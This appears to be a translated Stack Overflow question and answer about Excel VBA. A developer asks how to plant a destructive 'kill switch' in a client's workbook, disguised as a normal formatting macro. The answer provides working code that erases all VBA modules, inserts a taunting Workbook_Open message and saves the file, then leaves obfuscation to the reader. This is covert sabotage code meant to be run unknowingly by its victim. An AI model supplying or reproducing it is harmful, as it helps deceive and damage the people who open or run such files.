vba - Excel VBA 自毁开关

Question

我有过第一次“客户拿走了我的工作，然后在没有付款的情况下幽灵化我”的经历。对于 future ，我想放入一个终止开关，伪装成常规宏，这使得整个东西无法使用。这样，即使他们雇人破解密码并删除我的“您的试用已过期...”检查，一个看起来正常的宏(类似“Fix_Sheet_Formatting”)也很容易被忽略并运行，破坏所有内容并保存变化。

但是，这就只剩下 VBA...我们正在讨论的是全面清除，所以一切都必须消失。我会自己弄清楚如何做所有这些，我只是不想浪费时间去追求不可能的事情:

VBA 代码可以在运行时从工作簿中删除自身，还是必须从另一个工作簿上的宏中删除？删除代码会导致宏停止运行吗？或者我可以让它在完成所有操作后删除除令人讨厌的 MsgBox 之外的所有内容吗？

Answer 1

我将留下评论来讨论这是否是一个好主意(恕我直言，它可能不是)。至于问题本身，当然可以，并且不会中断宏执行:

Public Sub Example()
    Dim proj As Object
    Set proj = ThisWorkbook.VBProject
    Dim comp As Object
    For Each comp In proj.VBComponents
        With comp.CodeModule
            .DeleteLines 1, .CountOfLines
            If comp.Name = "ThisWorkbook" Then
                .InsertLines 1, "Private Sub Workbook_Open()" & vbCrLf & _
                                vbTab & "MsgBox ""Where's my money, @#$%&!?""" & vbCrLf & _
                                "End Sub"
            End If
        End With
    Next
    ThisWorkbook.Save
End Sub

混淆是对读者的一种练习。